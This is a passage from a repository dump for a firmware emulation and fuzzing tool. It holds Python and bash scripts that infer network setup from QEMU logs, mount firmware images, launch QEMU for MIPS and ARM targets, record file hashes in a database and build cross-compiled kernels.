l.startswith("ioctl_SIOCSIFHWADDR"), lines) 47 | if debug: 48 | print("Mac Changes %r" % candidates) 49 | 50 | result = [] 51 | if endianness == "eb": 52 | fmt = ">I" 53 | elif endianness == "el": 54 | fmt = " eth2) 171 | dev = iface.split(".")[0] 172 | 173 | #check whether there is a different mac set 174 | mac = None 175 | d = dict(macs) 176 | if br in d: 177 | mac = d[br] 178 | elif dev in d: 179 | mac = d[dev] 180 | 181 | vlan_id = None 182 | if len(vlans): 183 | vlan_id = vlans[0] 184 | 185 | return (ip, dev, vlan_id, mac) 186 | 187 | def getIP(ip): 188 | tups = [int(x) for x in ip.split(".")] 189 | if tups[3] != 1: 190 | tups[3] -= 1 191 | else: 192 | tups[3] = 2 193 | return ".".join([str(x) for x in tups]) 194 | 195 | def startNetwork(network): 196 | template_1 = """ 197 | TAPDEV_%(I)i=tap${IID}_%(I)i 198 | HOSTNETDEV_%(I)i=${TAPDEV_%(I)i} 199 | echo "Creating TAP device ${TAPDEV_%(I)i}..." 200 | sudo tunctl -t ${TAPDEV_%(I)i} -u ${USER} 201 | """ 202 | 203 | template_vlan = """ 204 | echo "Initializing VLAN..." 205 | HOSTNETDEV_%(I)i=${TAPDEV_%(I)i}.%(VLANID)i 206 | sudo ip link add link ${TAPDEV_%(I)i} name ${HOSTNETDEV_%(I)i} type vlan id %(VLANID)i 207 | sudo ip link set ${TAPDEV_%(I)i} up 208 | """ 209 | 210 | template_2 = """ 211 | echo "Bringing up TAP device..." 212 | sudo ip link set ${HOSTNETDEV_%(I)i} up 213 | sudo ip addr add %(HOSTIP)s/24 dev ${HOSTNETDEV_%(I)i} 214 | 215 | echo "Adding route to %(GUESTIP)s..." 216 | sudo ip route add %(GUESTIP)s via %(GUESTIP)s dev ${HOSTNETDEV_%(I)i} 217 | """ 218 | 219 | output = [] 220 | for i, (ip, dev, vlan, mac) in enumerate(network): 221 | output.append(template_1 % {'I' : i}) 222 | if vlan: 223 | output.append(template_vlan % {'I' : i, 'VLANID' : vlan}) 224 | output.append(template_2 % {'I' : i, 'HOSTIP' : getIP(ip), 'GUESTIP': ip}) 225 | return '\n'.join(output) 226 | 227 | def stopNetwork(network): 228 | template_1 = """ 229 | echo "Deleting route..." 230 | sudo ip route flush dev ${HOSTNETDEV_%(I)i} 231 | 232 | echo "Bringing down TAP device..." 233 | sudo ip link set ${TAPDEV_%(I)i} down 234 | """ 235 | 236 | template_vlan = """ 237 | echo "Removing VLAN..." 238 | sudo ip link delete ${HOSTNETDEV_%(I)i} 239 | """ 240 | 241 | template_2 = """ 242 | echo "Deleting TAP device ${TAPDEV_%(I)i}..." 243 | sudo tunctl -d ${TAPDEV_%(I)i} 244 | """ 245 | 246 | output = [] 247 | for i, (ip, dev, vlan, mac) in enumerate(network): 248 | output.append(template_1 % {'I' : i}) 249 | if vlan: 250 | output.append(template_vlan % {'I' : i}) 251 | output.append(template_2 % {'I' : i}) 252 | return '\n'.join(output) 253 | 254 | def qemuCmd(iid, network, arch, endianness): 255 | if arch == "mips": 256 | qemuEnvVars = "" 257 | machine = "malta" 258 | if endianness == 'el': 259 | qemu = "qemu-system-mipsel" 260 | elif endianness == 'eb': 261 | qemu = "qemu-system-mips" 262 | qemu_rootfs = "/dev/sda1" 263 | qemuKernel = "./vmlinux" 264 | # qemuDisk = "-drive if=ide,format=qcow2,file=image.qcow2" 265 | qemuDisk = "-drive if=ide,format=raw,file=image.raw" 266 | if endianness != "eb" and endianness != "el": 267 | raise Exception("You didn't specify a valid endianness") 268 | elif arch == "arm": 269 | qemuDisk = "-drive if=none,file=image.raw,format=raw,id=rootfs -device virtio-blk-device,drive=rootfs" 270 | qemuKernel = "./zImage" 271 | qemu_rootfs = "/dev/vda1" 272 | machine = "virt" 273 | if endianness == "el": 274 | qemu = "qemu-system-arm" 275 | qemuEnvVars = "QEMU_AUDIO_DRV=none" 276 | elif endianness == "eb": 277 | raise Exception("armeb currently not supported") 278 | else: 279 | raise Exception("You didn't specify a valid endianness") 280 | else: 281 | raise Exception("Unsupported architecture") 282 | 283 | return QEMUCMDTEMPLATE % {'IID': iid, 284 | 'QEMU': qemu, 285 | 'MACHINE': machine, 286 | 'ARCHEND' : arch + endianness, 287 | 'START_NET' : startNetwork(network), 288 | 'STOP_NET' : stopNetwork(network), 289 | 'QEMU_DISK' : qemuDisk, 290 | 'KERNEL' : qemuKernel, 291 | 'QEMU_ROOTFS' : qemu_rootfs, 292 | 'QEMU_NETWORK' : qemuNetworkConfig(arch, network), 293 | 'QEMU_ENV_VARS' : qemuEnvVars} 294 | 295 | def process(infile, iid, arch, endianness=None, makeQemuCmd=False, outfile=None): 296 | brifs = [] 297 | vlans = [] 298 | data = open(infile).read() 299 | network = set() 300 | success = False 301 | 302 | #find interfaces with non loopback ip addresses 303 | ifacesWithIps = findNonLoInterfaces(data, endianness) 304 | 305 | #find changes of mac addresses for devices 306 | macChanges = findMacChanges(data, endianness) 307 | 308 | print("Interfaces: %r" % ifacesWithIps) 309 | 310 | deviceHasBridge = False 311 | for iwi in ifacesWithIps: 312 | #find all interfaces that are bridged with that interface 313 | brifs = findIfacesForBridge(data, iwi[0]) 314 | if debug: 315 | print("brifs for %s %r" % (iwi[0], brifs)) 316 | for dev in brifs: 317 | #find vlan_ids for all interfaces in the bridge 318 | vlans = findVlanInfoForDev(data, dev) 319 | #create a config for each tuple 320 | network.add((buildConfig(iwi, dev, vlans, macChanges))) 321 | deviceHasBridge = True 322 | 323 | #if there is no bridge just add the interface 324 | if not brifs and not deviceHasBridge: 325 | vlans = findVlanInfoForDev(data, iwi[0]) 326 | network.add((buildConfig(iwi, iwi[0], vlans, macChanges))) 327 | 328 | ips = set() 329 | pruned_network = [] 330 | for n in network: 331 | if n[0] not in ips: 332 | ips.add(n[0]) 333 | pruned_network.append(n) 334 | else: 335 | if debug: 336 | print("duplicate ip address for interface: ", n) 337 | 338 | if makeQemuCmd: 339 | qemuCommandLine = qemuCmd(iid, pruned_network, arch, endianness) 340 | if qemuCommandLine: 341 | success = True 342 | if outfile: 343 | with open(outfile, "w") as out: 344 | out.write(qemuCommandLine) 345 | os.chmod(outfile, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH) 346 | else: 347 | print(qemuCommandLine) 348 | 349 | return success 350 | 351 | def archEnd(value): 352 | arch = None 353 | end = None 354 | 355 | tmp = value.lower() 356 | if tmp.startswith("mips"): 357 | arch = "mips" 358 | elif tmp.startswith("arm"): 359 | arch = "arm" 360 | if tmp.endswith("el"): 361 | end = "el" 362 | elif tmp.endswith("eb"): 363 | end = "eb" 364 | return (arch, end) 365 | 366 | def main(): 367 | infile = None 368 | makeQemuCmd = False 369 | iid = None 370 | outfile = None 371 | arch = None 372 | endianness = None 373 | (opts, argv) = getopt.getopt(sys.argv[1:], 'f:i:S:a:oqd') 374 | for (k, v) in opts: 375 | if k == '-f': 376 | infile = v 377 | if k == '-d': 378 | global debug 379 | debug += 1 380 | if k == '-q': 381 | makeQemuCmd = True 382 | if k == '-i': 383 | iid = int(v) 384 | if k == '-S': 385 | SCRATCHDIR = v 386 | if k == '-o': 387 | outfile = True 388 | if k == '-a': 389 | (arch, endianness) = archEnd(v) 390 | 391 | if not arch or not endianness: 392 | raise Exception("Either arch or endianness not found try mipsel/mipseb/armel/armeb") 393 | 394 | if not infile and iid: 395 | infile = "%s/qemu.initial.serial.log" % (SCRATCHDIR) 396 | if outfile and iid: 397 | outfile = """%s/run.sh""" % (SCRATCHDIR) 398 | if debug: 399 | print("processing %i" % iid) 400 | if infile: 401 | process(infile, iid, arch, endianness, makeQemuCmd, outfile) 402 | 403 | if __name__ == "__main__": 404 | main() 405 | -------------------------------------------------------------------------------- /Emulation/scripts/mount.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: mount.sh " 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | if check_root; then 22 | echo "Error: This script requires root privileges!" 23 | exit 1 24 | fi 25 | 26 | echo "----Running----" 27 | WORK_DIR=`get_scratch ${IID}` 28 | IMAGE=`get_fs ${IID}` 29 | IMAGE_DIR=`get_fs_mount ${IID}` 30 | 31 | echo "----Adding Device File----" 32 | DEVICE=$(get_device "$(kpartx -a -s -v "${IMAGE}")") 33 | sleep 1 34 | 35 | echo "----Making image directory----" 36 | if [ ! -e "${IMAGE_DIR}" ] 37 | then 38 | mkdir "${IMAGE_DIR}" 39 | fi 40 | 41 | echo "----Mounting----" 42 | #sudo /bin/mount /dev/nbd0p1 "${IMAGE_DIR}" 43 | mount "${DEVICE}" "${IMAGE_DIR}" 44 | -------------------------------------------------------------------------------- /Emulation/scripts/preInit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | [ -d /dev ] || mkdir -p /dev 4 | [ -d /root ] || mkdir -p /root 5 | [ -d /sys ] || mkdir -p /sys 6 | [ -d /proc ] || mkdir -p /proc 7 | [ -d /tmp ] || mkdir -p /tmp 8 | mkdir -p /var/lock 9 | 10 | mount -t sysfs sysfs /sys 11 | mount -t proc proc /proc 12 | ln -sf /proc/mounts /etc/mtab 13 | 14 | mkdir -p /dev/pts 15 | mount -t devpts devpts /dev/pts 16 | mount -t tmpfs tmpfs /run 17 | -------------------------------------------------------------------------------- /Emulation/scripts/run-debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: run-debug.sh []" 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | if [ $# -gt 1 ]; then 22 | if check_arch "${2}"; then 23 | echo "Error: Invalid architecture!" 24 | exit 1 25 | fi 26 | 27 | ARCH=${2} 28 | else 29 | echo -n "Querying database for architecture... " 30 | ARCH=$(psql -d firmware -U firmadyne -h 127.0.0.1 -t -q -c "SELECT arch from image WHERE id=${1};") 31 | ARCH="${ARCH#"${ARCH%%[![:space:]]*}"}" 32 | echo "${ARCH}" 33 | if [ -z "${ARCH}" ]; then 34 | echo "Error: Unable to lookup architecture. Please specify {armel,mipseb,mipsel} as the second argument!" 35 | exit 1 36 | fi 37 | fi 38 | 39 | ${SCRIPT_DIR}/run.${ARCH}-debug.sh ${IID} 40 | -------------------------------------------------------------------------------- /Emulation/scripts/run.armel-debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: run.armel-debug.sh " 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | WORK_DIR=`get_scratch ${IID}` 22 | IMAGE=`get_fs ${IID}` 23 | KERNEL=`get_kernel "armel"` 24 | 25 | QEMU_AUDIO_DRV=none qemu-system-arm -m 256 -M virt -kernel ${KERNEL} -drive if=none,file=${IMAGE},format=raw,id=rootfs -device virtio-blk-device,drive=rootfs -append "firmadyne.syscall=0 root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31" -nographic -device virtio-net-device,netdev=net1 -netdev socket,listen=:2000,id=net1 -device virtio-net-device,netdev=net2 -netdev socket,listen=:2001,id=net2 -device virtio-net-device,netdev=net3 -netdev socket,listen=:2002,id=net3 -device virtio-net-device,netdev=net4 -netdev socket,listen=:2003,id=net4 26 | -------------------------------------------------------------------------------- /Emulation/scripts/run.armel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | source scripts/env.config 6 | 7 | IID=${1} 8 | ARCH=${2} 9 | 10 | WORK_DIR="${WORK_DIR}/${IID}" 11 | IMAGE="${WORK_DIR}/image.raw" 12 | KERNEL="${WORK_DIR}/zImage" 13 | 14 | 15 | 16 | QEMU_AUDIO_DRV=none ./qemu-system-arm -m 256 -M virt -kernel ${KERNEL} -drive if=none,file=${IMAGE},format=raw,id=rootfs -device virtio-blk-device,drive=rootfs -append "firmadyne.syscall=1 root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31" -serial file:${WORK_DIR}/qemu.initial.serial.log -serial unix:/tmp/qemu.${IID}.S1,server,nowait -monitor unix:/tmp/qemu.${IID},server,nowait -display none -device virtio-net-device,netdev=net1 -netdev socket,listen=:2000,id=net1 -device virtio-net-device,netdev=net2 -netdev socket,listen=:2001,id=net2 -device virtio-net-device,netdev=net3 -netdev socket,listen=:2002,id=net3 -device virtio-net-device,netdev=net4 -netdev socket,listen=:2003,id=net4 17 | 18 | # QEMU_AUDIO_DRV=none qemu-system-arm -m 256 -M virt -kernel zImage -drive if=none,file="./image.raw",format=raw,id=rootfs -device virtio-blk-device,drive=rootfs -append "firmadyne.syscall=1 root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31" -serial file:"./qemu.initial.serial.log" -serial unix:/tmp/qemu.3.S1,server,nowait -monitor unix:/tmp/qemu.3,server,nowait -display none -device virtio-net-device,netdev=net1 -netdev socket,listen=:2000,id=net1 -device virtio-net-device,netdev=net2 -netdev socket,listen=:2001,id=net2 -device virtio-net-device,netdev=net3 -netdev socket,listen=:2002,id=net3 -device virtio-net-device,netdev=net4 -netdev socket,listen=:2003,id=net4 19 | -------------------------------------------------------------------------------- /Emulation/scripts/run.mipseb-debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: run.mipseb-debug.sh " 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | WORK_DIR=`get_scratch ${IID}` 22 | IMAGE=`get_fs ${IID}` 23 | KERNEL=`get_kernel "mipseb"` 24 | 25 | qemu-system-mips -m 256 -M malta -kernel ${KERNEL} -drive if=ide,format=raw,file=${IMAGE} -append "firmadyne.syscall=0 root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1" -nographic -net nic,vlan=0 -net socket,vlan=0,listen=:2000 -net nic,vlan=1 -net socket,vlan=1,listen=:2001 -net nic,vlan=2 -net socket,vlan=2,listen=:2002 -net nic,vlan=3 -net socket,vlan=3,listen=:2003 26 | -------------------------------------------------------------------------------- /Emulation/scripts/run.mipseb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | source scripts/env.config 6 | 7 | 8 | IID=${1} 9 | ARCH=${2} 10 | 11 | WORK_DIR="${WORK_DIR}/${IID}" 12 | IMAGE="${WORK_DIR}/image.raw" 13 | KERNEL="${WORK_DIR}/vmlinux" 14 | 15 | qemu-system-mips -m 256 -M malta -kernel ${KERNEL} -drive if=ide,format=raw,file=${IMAGE} -append "firmadyne.syscall=1 root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1" -serial file:${WORK_DIR}/qemu.initial.serial.log -serial unix:/tmp/qemu.${IID}.S1,server,nowait -monitor unix:/tmp/qemu.${IID},server,nowait -display none -netdev socket,id=s0,listen=:2000 -device e1000,netdev=s0 -netdev socket,id=s1,listen=:2001 -device e1000,netdev=s1 -netdev socket,id=s2,listen=:2002 -device e1000,netdev=s2 -netdev socket,id=s3,listen=:2003 -device e1000,netdev=s3 16 | -------------------------------------------------------------------------------- /Emulation/scripts/run.mipsel-debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: run.mipsel-debug.sh " 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | WORK_DIR=`get_scratch ${IID}` 22 | IMAGE=`get_fs ${IID}` 23 | KERNEL=`get_kernel "mipsel"` 24 | 25 | qemu-system-mipsel -m 256 -M malta -kernel ${KERNEL} -drive if=ide,format=raw,file=${IMAGE} -append "firmadyne.syscall=0 root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1" -nographic -net nic,vlan=0 -net socket,vlan=0,listen=:2000 -net nic,vlan=1 -net socket,vlan=1,listen=:2001 -net nic,vlan=2 -net socket,vlan=2,listen=:2002 -net nic,vlan=3 -net socket,vlan=3,listen=:2003 26 | -------------------------------------------------------------------------------- /Emulation/scripts/run.mipsel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | source scripts/env.config 6 | 7 | IID=${1} 8 | ARCH=${2} 9 | 10 | WORK_DIR="${WORK_DIR}/${IID}" 11 | IMAGE="${WORK_DIR}/image.raw" 12 | KERNEL="${WORK_DIR}/vmlinux" 13 | 14 | qemu-system-mipsel -m 256 -M malta -kernel ${KERNEL} -drive if=ide,format=raw,file=${IMAGE} -append "firmadyne.syscall=1 root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1" -serial file:${WORK_DIR}/qemu.initial.serial.log -serial unix:/tmp/qemu.${IID}.S1,server,nowait -monitor unix:/tmp/qemu.${IID},server,nowait -display none -netdev socket,id=s0,listen=:2000 -device e1000,netdev=s0 -netdev socket,id=s1,listen=:2001 -device e1000,netdev=s1 -netdev socket,id=s2,listen=:2002 -device e1000,netdev=s2 -netdev socket,id=s3,listen=:2003 -device e1000,netdev=s3 15 | -------------------------------------------------------------------------------- /Emulation/scripts/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: run.sh []" 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | if [ $# -gt 1 ]; then 22 | if check_arch "${2}"; then 23 | echo "Error: Invalid architecture!" 24 | exit 1 25 | fi 26 | 27 | ARCH=${2} 28 | else 29 | echo -n "Querying database for architecture... " 30 | ARCH=$(psql -d firmware -U firmadyne -h 127.0.0.1 -t -q -c "SELECT arch from image WHERE id=${1};") 31 | ARCH="${ARCH#"${ARCH%%[![:space:]]*}"}" 32 | echo "${ARCH}" 33 | if [ -z "${ARCH}" ]; then 34 | echo "Error: Unable to lookup architecture. Please specify {armel,mipseb,mipsel} as the second argument!" 35 | exit 1 36 | fi 37 | fi 38 | 39 | ${SCRIPT_DIR}/run.${ARCH}.sh ${IID} 40 | -------------------------------------------------------------------------------- /Emulation/scripts/tar2db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import tarfile 4 | import getopt 5 | import sys 6 | import re 7 | import hashlib 8 | import psycopg2 9 | import six 10 | 11 | def getFileHashes(infile): 12 | t = tarfile.open(infile) 13 | files = list() 14 | links = list() 15 | for f in t.getmembers(): 16 | if f.isfile(): 17 | # we use f.name[1:] to get rid of the . at the beginning of the path 18 | files.append((f.name[1:], hashlib.md5(t.extractfile(f).read()).hexdigest(), 19 | f.uid, f.gid, f.mode)) 20 | elif f.issym(): 21 | links.append((f.name[1:], f.linkpath)) 22 | return (files, links) 23 | 24 | def getOids(objs, cur): 25 | # hashes ... all the hashes in the tar file 26 | hashes = [x[1] for x in objs] 27 | hashes_str = ",".join(["""'%s'""" % x for x in hashes]) 28 | query = """SELECT id,hash FROM object WHERE hash IN (%s)""" 29 | cur.execute(query % hashes_str) 30 | res = [(int(x), y) for (x, y) in cur.fetchall()] 31 | 32 | existingHashes = [x[1] for x in res] 33 | 34 | missingHashes = set(hashes).difference(set(existingHashes)) 35 | 36 | newObjs = createObjects(missingHashes, cur) 37 | 38 | res += newObjs 39 | 40 | result = dict([(y, x) for (x, y) in res]) 41 | return result 42 | 43 | def createObjects(hashes, cur): 44 | query = """INSERT INTO object (hash) VALUES (%(hash)s) RETURNING id""" 45 | res = list() 46 | for h in set(hashes): 47 | cur.execute(query, {'hash':h}) 48 | oid = int(cur.fetchone()[0]) 49 | res.append((oid, h)) 50 | return res 51 | 52 | def insertObjectToImage(iid, files2oids, links, cur): 53 | query = """INSERT INTO object_to_image (iid, oid, filename, regular_file, uid, gid, permissions) VALUES (%(iid)s, %(oid)s, %(filename)s, %(regular_file)s, %(uid)s, %(gid)s, %(mode)s)""" 54 | 55 | cur.executemany(query, [{'iid': iid, 'oid' : x[1], 'filename' : x[0][0], 56 | 'regular_file' : True, 'uid' : x[0][1], 57 | 'gid' : x[0][2], 'mode' : x[0][3]} \ 58 | for x in files2oids]) 59 | cur.executemany(query, [{'iid': iid, 'oid' : 1, 'filename' : x[0], 60 | 'regular_file' : False, 'uid' : None, 61 | 'gid' : None, 'mode' : None} \ 62 | for x in links]) 63 | 64 | def process(iid, infile): 65 | dbh = psycopg2.connect(database="firmware", user="firmadyne", 66 | password="firmadyne", host="127.0.0.1") 67 | cur = dbh.cursor() 68 | 69 | (files, links) = getFileHashes(infile) 70 | 71 | oids = getOids(files, cur) 72 | 73 | fdict = dict([(h, (filename, uid, gid, mode)) \ 74 | for (filename, h, uid, gid, mode) in files]) 75 | 76 | file2oid = [(fdict[h], oid) for (h, oid) in six.iteritems(oids)] 77 | 78 | insertObjectToImage(iid, file2oid, links, cur) 79 | 80 | dbh.commit() 81 | 82 | dbh.close() 83 | 84 | def main(): 85 | infile = iid = None 86 | opts, argv = getopt.getopt(sys.argv[1:], "f:i:") 87 | for k, v in opts: 88 | if k == '-i': 89 | iid = int(v) 90 | if k == '-f': 91 | infile = v 92 | 93 | if infile and not iid: 94 | m = re.search(r"(\d+)\.tar\.gz", infile) 95 | if m: 96 | iid = int(m.group(1)) 97 | 98 | process(iid, infile) 99 | 100 | if __name__ == "__main__": 101 | main() 102 | -------------------------------------------------------------------------------- /Emulation/scripts/test_armel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/scripts/test_armel -------------------------------------------------------------------------------- /Emulation/scripts/test_mipseb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/scripts/test_mipseb -------------------------------------------------------------------------------- /Emulation/scripts/test_mipsel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/scripts/test_mipsel -------------------------------------------------------------------------------- /Emulation/scripts/umount.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | if [ -e ./firmadyne.config ]; then 7 | source ./firmadyne.config 8 | elif [ -e ../firmadyne.config ]; then 9 | source ../firmadyne.config 10 | else 11 | echo "Error: Could not find 'firmadyne.config'!" 12 | exit 1 13 | fi 14 | 15 | if check_number $1; then 16 | echo "Usage: umount.sh " 17 | exit 1 18 | fi 19 | IID=${1} 20 | 21 | if check_root; then 22 | echo "Error: This script requires root privileges!" 23 | exit 1 24 | fi 25 | 26 | echo "----Running----" 27 | WORK_DIR=`get_scratch ${IID}` 28 | IMAGE=`get_fs ${IID}` 29 | IMAGE_DIR=`get_fs_mount ${IID}` 30 | 31 | DEVICE=$(get_device "$(kpartx -u -s -v "${IMAGE}")") 32 | 33 | echo "----Unmounting----" 34 | umount "${DEVICE}" 35 | 36 | echo "----Disconnecting Device File----" 37 | kpartx -d "${IMAGE}" 38 | losetup -d "${DEVICE}" &>/dev/null 39 | dmsetup remove $(basename "${DEVICE}") &>/dev/null 40 | -------------------------------------------------------------------------------- /Emulation/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | sudo apt update 5 | sudo apt install -y python-pip python3-pip python3-pexpect unzip busybox-static fakeroot kpartx snmp uml-utilities util-linux vlan qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils 6 | 7 | echo "Installing binwalk" 8 | cd binwalk 9 | sudo ./deps.sh 10 | sudo python3 ./setup.py install 11 | sudo -H pip3 install git+https://github.com/ahupp/python-magic 12 | sudo -H pip install git+https://github.com/sviehb/jefferson 13 | cd .. 14 | 15 | 16 | 17 | echo "Setting up firmware analysis toolkit" 18 | chmod +x emu.py 19 | chmod +x reset.py 20 | 21 | #Set firmadyne_path in fat.config 22 | sed -i "/firmadyne_path=/c\firmadyne_path=$firmadyne_dir" emu.config 23 | 24 | # Comment out psql -d firmware ... in getArch.sh 25 | sed -i 's/psql/#psql/' ./scripts/getArch.sh 26 | 27 | #Setting up the toolchains 28 | sudo mkdir -p /opt/cross 29 | sudo cp toolchains/* /opt/cross 30 | cd /opt/cross 31 | sudo tar -xf arm-linux-musleabi.tar.xz 32 | sudo tar -xf mipseb-linux-musl.tar.xz 33 | sudo tar -xf mipsel-linux-musl.tar.xz 34 | cd - 35 | 36 | mkdir -p ./source/Kernel-mips/build/mipseb 37 | mkdir -p ./source/Kernel-mips/build/mipsel 38 | mkdir -p ./source/Kernel-armel/build/armel 39 | 40 | cp ./source/Kernel-mips/config.mipseb ./source/Kernel-mips/build/mipseb/.config 41 | cp ./source/Kernel-mips/config.mipsel ./source/Kernel-mips//build/mipsel/.config 42 | cp ./source/Kernel-armel/config.armel ./source/Kernel-armel/build/armel/.config 43 | 44 | # Adding toolchains to PATH 45 | echo "PATH=$PATH:/opt/cross/mipsel-linux-musl/bin:/opt/cross/mipseb-linux-musl/bin:/opt/cross/arm-linux-musleabi/bin" >> ~/.profile 46 | source ~/.profile 47 | 48 | # Make the kernels 49 | cd ./source/Kernel-mips/ 50 | make ARCH=mips CROSS_COMPILE=mipseb-linux-musl- O=./build/mipseb -j8 51 | make ARCH=mips CROSS_COMPILE=mipsel-linux-musl- O=./build/mipsel -j8 52 | cd - && cd ./source/Kernel-armel/ 53 | make ARCH=arm CROSS_COMPILE=arm-linux-musleabi- O=./build/armel zImage -j8 54 | -------------------------------------------------------------------------------- /Emulation/source/LIB/console.armel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/source/LIB/console.armel -------------------------------------------------------------------------------- /Emulation/source/LIB/console.mipseb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/source/LIB/console.mipseb -------------------------------------------------------------------------------- /Emulation/source/LIB/console.mipsel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/source/LIB/console.mipsel -------------------------------------------------------------------------------- /Emulation/source/LIB/libnvram.so.armel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/source/LIB/libnvram.so.armel -------------------------------------------------------------------------------- /Emulation/source/LIB/libnvram.so.mipseb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/source/LIB/libnvram.so.mipseb -------------------------------------------------------------------------------- /Emulation/source/LIB/libnvram.so.mipsel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/source/LIB/libnvram.so.mipsel -------------------------------------------------------------------------------- /Emulation/toolchains/arm-linux-musleabi.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/toolchains/arm-linux-musleabi.tar.xz -------------------------------------------------------------------------------- /Emulation/toolchains/mipseb-linux-musl.tar.xz: -------------------------------------------------------------------------------- 